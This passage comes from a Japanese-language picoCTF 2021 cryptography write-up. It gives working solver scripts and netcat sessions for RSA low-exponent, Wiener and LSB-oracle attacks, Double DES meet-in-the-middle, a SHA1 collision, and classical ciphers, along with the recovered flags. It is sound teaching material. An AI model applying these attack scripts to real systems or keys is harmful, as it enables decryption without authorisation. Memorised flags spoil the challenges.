    start = key_location
    stop = key_location + len(flag)

    key = kf[start:stop]
    key_location = stop

    result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
    print("This is the encrypted flag!\n{}\n".format("".join(result)))

    return key_location

def encrypt(key_location):
    ui = input("What data would you like to encrypt? ").rstrip()
    if len(ui) == 0 or len(ui) > KEY_LEN:
        return -1

    start = key_location
    stop = key_location + len(ui)

    kf = open(KEY_FILE, "rb").read()

    if stop >= KEY_LEN:
        stop = stop % KEY_LEN
        key = kf[start:] + kf[:stop]
    else:
        key = kf[start:stop]
    key_location = stop

    result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))

    print("Here ya go!\n{}\n".format("".join(result)))

    return key_location


print("******************Welcome to our OTP implementation!******************")
c = startup(0)
while c >= 0:
    c = encrypt(c)

フラグ文字列の長さは 32 バイトなので、まず 50000 - 32 バイトの文字列を入力して、鍵を消費させる。 その後 32バイトの \x00 を暗号化させると、初めに使用された鍵を特定することができる。

$ python3 -c "print('A'*(50000-32)+'\n'+'\x00'*32)" | nc mercury.picoctf.net 64260

<snip>

What data would you like to encrypt? Here ya go!
62275c786663615c783165725c786237225c7863315c7831375c7861305c7838

What data would you like to encrypt?

鍵の特定ができたので、後は CyberChef で XOR すればフラグを復号することができる。

picoCTF{3a16944dad432717ccc3945d3d96421a}

New Caesar - 60 points

We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{}) mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj new_caesar.py

new_caesar.py を読むと、フラグ文字列を b16_encode でエンコードし、shift で文字列をずらすという処理になっていた。 また、key の長さは、1文字固定になっていた。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc

def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]

flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key])
assert len(key) == 1

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
    enc += shift(c, key[i % len(key)])
print(enc)

逆の手順を行う unshift と b16_decode を実装し、key を総当たりすれば解ける。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_decode(enc):
    dec = ""
    for i in range(0, len(enc), 2):
        n1 = ord(enc[i]) - LOWERCASE_OFFSET
        n2 = ord(enc[i+1]) - LOWERCASE_OFFSET
        dec += chr((n1 << 4) + n2)
    return dec


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


enc = 'mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj'

for key in ALPHABET:
    b16 = ""
    for i, c in enumerate(enc):
        b16 += unshift(c, key[i % len(key)])

    flag = b16_decode(b16)
    if all([c in string.printable for c in flag]):
        print(flag)

上記のスクリプトを実行すると、2つの候補が出力された。両方とも入力してみると、1つ目が正しいフラグになっていた。

$ python3 solve.py 
et_tu?_a2da1e18af49f649806988786deb2a6c
TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R

picoCTF{et_tu?_a2da1e18af49f649806988786deb2a6c}

Mini RSA - 70 points

What happens if you have a small exponent? There is a twist though, we padded the plaintext so that (M ** e) is just barely larger than N. Let's decrypt this: ciphertext

e が小さいので Low Public Exponent Attack が可能

#!/usr/bin/env python3
import gmpy2

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def low_public_exponent_attack(c, e, n=0):
    while True:
        m, exact_root = gmpy2.iroot(c, e)
        if exact_root == True:
            break
        c += n
    return int(m)

def main():
    n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
    c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962
    e = 3

    m = low_public_exponent_attack(c, e, n)
    flag = long_to_bytes(m).decode().strip()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}

picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}

Dachshund Attacks - 80 points

What if d is too small? Connect with nc mercury.picoctf.net 36463.

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 36463
Welcome to my RSA challenge!
e: 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625
n: 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169
c: 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345

e が大きすぎる場合、Wiener attack で d を求めることができる。

import owiener

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def main():
    e = 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625
    n = 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169
    c = 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345

    d = owiener.attack(e, n)
    print('d =', d)

    m = pow(c, d, n)
    flag = long_to_bytes(m).decode()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
d = 10654506914838660682042479308820932228624973756818215204747660280732997426733
picoCTF{proving_wiener_2635457}

picoCTF{proving_wiener_2635457}

No Padding, No Problem - 90 points

Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it? Connect with nc mercury.picoctf.net 42248.

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 42248
Welcome to the Padding Oracle Challenge
This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck!


n: 90101643683642449854141336789755762750892438892492293162747484130901800000476193957507322455444793365572878082615944603531154759082954196403476102687766754013478750367732778910414385109169060566519214178468223030897871266040587489080579439025035637990339198670309017861948362214005512914928246568765305024767
e: 65537
ciphertext: 55059755122316293832806182548856940205700087671359599893654974960052751590338675291837564636041951152539150526610821581731320858542078629785862790217786932780068848408944318495408576899383380788155211222791292060471451513146108358481359709726036875084627488661424786721073201264949133187880243301440697444504


Give me ciphertext to decrypt:

任意の暗号文を復号することができるので、LSB Decryption Oracle Attack で平文を求めることができる。 ただし、サーバへの入力回数制限がある。 何度か試した結果、600回分ぐらいまで LSB が 0 固定だったので、その回数分はサーバに入力せずに探索させるようにした。

from fractions import Fraction
import nclib
import sys


def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')


def lsb_decryption_oracle_attack(c, e, n, decrypt_lsb_func):
    lsb_count = 0
    bounds = [0, Fraction(n)]

    print('lsb = ', end='')
    while True:
        c2 = (c * pow(2, e, n)) % n
        if lsb_count < 600:
            lsb = 0
        else:
            lsb = decrypt_lsb_func(c2)
            sys.stdout.flush()

        lsb_count += 1
        print(lsb, end='')

        if lsb == 1:
            bounds[0] = sum(bounds) / 2
        else:
            bounds[1] = sum(bounds) / 2
        diff = bounds[1] - bounds[0]
        diff = diff.numerator // diff.denominator

        if diff == 0:
            print() # return
            m = bounds[1].numerator // bounds[1].denominator
            return m
        c = c2


def main():
    host = 'mercury.picoctf.net'
    port = 42248
    nc = nclib.Netcat((host, port))

    nc.readuntil('n: ')
    n = int(nc.readuntil('\n').decode('utf8').strip())

    nc.readuntil('e: ')
    e = int(nc.readuntil('\n').decode('utf8').strip())

    nc.readuntil('ciphertext: ')
    c = int(nc.readuntil('\n').decode('utf8').strip())

    print('n =', n)
    print('e =', e)
    print('c =', c)

    def decrypt_lsb(c):
        nc.readuntil('Give me ciphertext to decrypt: ')
        nc.send(str(c) + '\n')
        nc.readuntil('Here you go: ')
        m = int(nc.readuntil('\n').decode('utf8').strip())
        return m % 2

    m = lsb_decryption_oracle_attack(c, e, n, decrypt_lsb)
    flag = long_to_bytes(m).decode()
    print(flag)


if __name__ == '__main__':
    main()
$ python3 solve.py
n = 127538109255149095159351255319745846800842622737071047206458625471775250251247589987255533154549522897945773386612463892310040847081866951183088945315833082409020477026914363348359495479411632017058742284291288096032191788866942959097081110060390924386114120017465652486559435432083309957588562501724746743077
e = 65537
c = 126157948333791054890541032128762049981774872417790778366321819526665365804293162663843061380248606275351261834820605470723069254403322672259795792356479432275253463326722026226003867381699189801868601201429379060463483801885195943124329665680535394848337728418075834649386350321320621979652104693859600216081
lsb = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111100111001010110101110011001100100001010101100100001101101000101010110011001011111011110110110000111111101011101100000100010011010110011110010001011000000010001010100101100101110101010000110011101110000000011111101101101110010101100001111100011010001110001010010001101011011100101101101111111000101100010100000011010100111010000111001101011101110011111001011010100000110110111000001001001111010101000010
picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}

picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}

Play Nice - 110 points

Not all ancient ciphers were so bad... The flag is not in standard format. nc mercury.picoctf.net 30568 playfair.py

netcat で接続すると、以下のように表示された。

$ nc mercury.picoctf.net 30568
Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q
Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i
What is the plaintext message? 

playfair.py を確認すると、末尾に Playfair Cipher の Wikipedia のリンクが書かれていた。

en.wikipedia.org

上記を参照したところ、どうやら2文字ずつ変換していくらしいということが分かった。 よって、以下の方針で復号するようにした。

  1. 2文字ずつ総当たりで暗号化して復号用のテーブルを作成する。
  2. 作成したテーブルを参照しながら、元の暗号文を復号する。

playfair.py を少し書き換えて復号できるようにした。

#!/usr/bin/python3 -u
from pprint import pprint
import signal

SQUARE_SIZE = 6


def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix

def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()

def encrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] + 1)  % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1)  % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] + 1)  % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1)  % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]

def encrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q"[0]
    for i in range(0, len(plain), 2):
        result += encrypt_pair(plain[i:i + 2], matrix)
    return result

# added
import itertools

alphabet = '0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q'
enc_msg = 'herfayo7oqxrz7jwxx15ie20p40u1i'

m = generate_square(alphabet)

dec_table = {}
for x, y in itertools.product(alphabet, alphabet):
    msg = x + y
    c = encrypt_string(msg, m)
    dec_table[c] = msg

dec_msg = ''
for i in range(0, len(enc_msg), 2):
    c = enc_msg[i] + enc_msg[i + 1]
    dec_msg += dec_table[c]

print(dec_msg) 
$ python3 playfair.py 
emf57mgc51tp693dtt4g3h7f8ouwq3

netcat で接続し、復号した文字列を入力するとフラグが表示された。

$ nc mercury.picoctf.net 30568
Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q
Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i
What is the plaintext message? emf57mgc51tp693dtt4g3h7f8ouwq3
Congratulations! Here's the flag: 007d0a696aaad7fb5ec21c7698e4f754

007d0a696aaad7fb5ec21c7698e4f754

Double DES - 120 points

I wanted an encryption service that's more secure than regular DES, but not as slow as 3DES... The flag is not in standard format. nc mercury.picoctf.net 33425 ddes.py

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 33425
Here is the flag:
d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08
What data would you like to encrypt? 41
efc063ad29d74143
What data would you like to encrypt?

Double DES かつ任意の平文を同じ鍵で暗号化した結果を入手することができるので、中間一致攻撃で鍵を特定することができる。 以下を参考にスクリプトを作成した。

f:id:tsalvia:20210331073014p:plain
出典: Meet-in-the-middle attack - Wikipedia

from Crypto.Cipher import DES
import string
import itertools
import binascii

"""
$ nc mercury.picoctf.net 33425
Here is the flag:
d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08
What data would you like to encrypt? 41
efc063ad29d74143
What data would you like to encrypt?
"""

def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def create_dec_k2_table(c):
    dec_k2_table = {}
    for ch in itertools.product(string.digits, repeat=6):
        key2 = pad(''.join(ch))
        cipher2 = DES.new(key2, DES.MODE_ECB)
        dec = cipher2.decrypt(c)
        dec_k2_table[dec] = key2
    return dec_k2_table

def create_enc_k1_table(p):
    enc_k1_table = {}
    for ch in itertools.product(string.digits, repeat=6):
        key1 = pad(''.join(ch))
        cipher1 = DES.new(key1, DES.MODE_ECB)
        enc = cipher1.encrypt(p)
        enc_k1_table[enc] = key1
    return enc_k1_table

def meet_in_the_middle_attack(p, c):
    enc_k1_table = create_enc_k1_table(p)
    dec_k2_table = create_dec_k2_table(c)

    middle_ciphertext = list(enc_k1_table.keys() & dec_k2_table.keys())[0]
    key1 = enc_k1_table[middle_ciphertext]
    key2 = dec_k2_table[middle_ciphertext]

    print('middle_ciphertext:', binascii.hexlify(middle_ciphertext).decode())
    print('key1:', key1) 
    print('key2:', key2) 
    return key1, key2

def double_decrypt(c, key1, key2):
    cipher2 = DES.new(key2, DES.MODE_ECB)
    dec_c = cipher2.decrypt(c)
    cipher1 = DES.new(key1, DES.MODE_ECB)
    return cipher1.decrypt(dec_c)

def main():
    p = pad(binascii.unhexlify('41').decode())
    c = binascii.unhexlify('efc063ad29d74143')
    enc_flag = binascii.unhexlify('d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08')

    key1, key2 = meet_in_the_middle_attack(p, c)
    flag = double_decrypt(enc_flag, key1, key2)

    print('flag:', flag.decode())

if __name__ == '__main__':
    main()
$ python3 solve.py 
middle_ciphertext: 6c90b66f95635193
key1: b'539737  '
key2: b'379195  '
flag: af5fa5d565081bac320f42feaf69b405

af5fa5d565081bac320f42feaf69b405

It is my Birthday 2 - 170 points

My birthday is coming up again, but I want to have a very exclusive party for only the best cryptologists. See if you can solve my challenge, upload 2 valid PDFs that are different but have the same SHA1 hash. They should both have the same 1000 bytes at the end as the original invite. http://mercury.picoctf.net:59127/ invite.pdf

以下のページから、SHA1ハッシュ値が同一のPDFをダウンロードする。

shattered.io

invite.pdf の後ろから1000バイトを取り出して、各PDFの末尾に追記する。

base_pdf = 'invite.pdf'

pdf_files = [
    'shattered-1.pdf',
    'shattered-2.pdf',
]

with open(base_pdf, 'rb') as f:
    data = f.read()
orig_invite_data = data[-1000:]

for pdf in pdf_files:
    with open(pdf, 'ab') as f:
        f.write(orig_invite_data)
$ sha1sum shattered-1.pdf shattered-2.pdf 
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-1.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-2.pdf
$ python3 add_invite_data.py 
$ sha1sum shattered-1.pdf shattered-2.pdf 
133f99dc4ac356ad2b2b611f82d51fda3451d352  shattered-1.pdf
133f99dc4ac356ad2b2b611f82d51fda3451d352  shattered-2.pdf

データを追記した2つのファイルをアップロードすると、フラグが表示された。

picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}

Pixelated - 200 points

I have these 2 images, can you make a flag out of them? scrambled1.png scrambled2.png

「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」で画像を合成すると、フラグが表示された。

f:id:tsalvia:20210331074310p:plain

picoCTF{1b867c3e}

New Vignere - 300 points

Another slight twist on a classic, see if you can recover the flag. (Wrap with picoCTF{}) bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp new_vignere.py

New Caesar の続きの問題

前回と違い、今回は key の長さが1~14文字になっている。また、復号後の文字列は abcdef0123456789 のいずれかになっており、候補が少なくなっている。

まずは、暗号化された文字列が正しく復号できる key のパターンをすべて列挙した。

import string
import itertools

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc

def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]

enc_flag = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'

for off in range(0, len(enc_flag), 2):
    key0_list = []
    key1_list = []

    for ch in "abcdef0123456789":
        for k in itertools.product(ALPHABET, repeat=2):
            key = ''.join(k)

            b16 = b16_encode(ch)
            enc = ""
            for i, c in enumerate(b16):
                enc += shift(c, key[i % len(key)])

            if enc == enc_flag[off:off+2]:
                key0_list.append(key[0])
                key1_list.append(key[1])

    print(enc_flag[off:off+2]+'_0', key0_list)
    print(enc_flag[off:off+2]+'_1', key1_list)
$ python3 test.py | nl
     1  bk_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o']
     2  bk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
     3  gl_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
     4  gl_1 ['k', 'j', 'i', 'h', 'g', 'f', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c']
     5  ib_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
     6  ib_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i']
     7  gk_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
     8  gk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
     9  hg_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    10  hg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    11  hk_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    12  hk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
    13  ij_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
    14  ij_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    15  ph_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm']
    16  ph_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    17  hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    18  hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    19  ej_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    20  ej_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    21  gg_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    22  gg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    23  ik_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
    24  ik_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
    25  gj_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    26  gj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    27  kb_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h']
    28  kb_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i']
    29  he_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    30  he_1 ['d', 'c', 'b', 'a', 'p', 'o', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l']
    31  fg_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c']
    32  fg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    33  pi_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm']
    34  pi_1 ['h', 'g', 'f', 'e', 'd', 'c', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p']
    35  en_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    36  en_1 ['m', 'l', 'k', 'j', 'i', 'h', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e']
    37  ef_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    38  ef_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    39  jd_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g']
    40  jd_1 ['c', 'b', 'a', 'p', 'o', 'n', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k']
    41  io_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
    42  io_1 ['n', 'm', 'l', 'k', 'j', 'i', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f']
    43  gh_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    44  gh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    45  hc_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    46  hc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j']
    47  hf_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    48  hf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    49  fh_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c']
    50  fh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    51  mm_0 ['g', 'g', 'g', 'g', 'g', 'g', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j']
    52  mm_1 ['l', 'k', 'j', 'i', 'h', 'g', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd']
    53  hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    54  hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    55  bj_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o']
    56  bj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    57  gc_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    58  gc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j']
    59  lp_0 ['f', 'f', 'f', 'f', 'f', 'f', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i']
    60  lp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']
    61  jf_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g']
    62  jf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    63  kp_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h']
    64  kp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']

